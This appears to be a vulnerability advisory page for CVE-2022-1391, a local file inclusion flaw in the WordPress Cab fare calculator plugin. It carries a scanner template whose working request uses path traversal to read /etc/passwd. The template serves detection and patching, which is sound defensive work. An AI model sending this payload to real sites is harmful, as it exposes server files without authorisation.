CVE-2022-1391: WordPress Cab fare calculator < 1.0.4 - Local File Inclusion

2025-08-01 WordPress PoC Public

Description

The Cab fare calculator WordPress plugin before 1.0.4 does not validate the controller parameter before using it in require statements, which could lead to Local File Inclusion issues.

PoC

id: CVE-2022-1391

info:
  name: WordPress Cab fare calculator < 1.0.4 - Local File Inclusion
  author: Splint3r7
  severity: critical
  description: |
    The Cab fare calculator WordPress plugin before 1.0.4 does not validate the controller parameter before using it in require statements, which could lead to Local File Inclusion issues.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of the WordPress Cab fare calculator plugin (1.0.4) to fix the local file inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50843
    - https://wordpress.org/plugins/cab-fare-calculator
    - https://wpscan.com/vulnerability/680121fe-6668-4c1a-a30d-e70dd9be5aac
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1391
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1391
    cwe-id: CWE-22
    epss-score: 0.15064
    epss-percentile: 0.96547
    cpe: cpe:2.3:a:kanev:cab_fare_calculator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: kanev
    product: cab_fare_calculator
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,lfi,wp,edb,wpscan,kanev,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b6f04526be83c6893d41e1b6d39cda536c54ab5cc1d397ec1993ce835ece38f9022027a475ddf40c768a64ab6fa3bd868c6cf81e622b6357aa8719a2a7bedff2e408:922c64590222798bb761d5b6d8e72950

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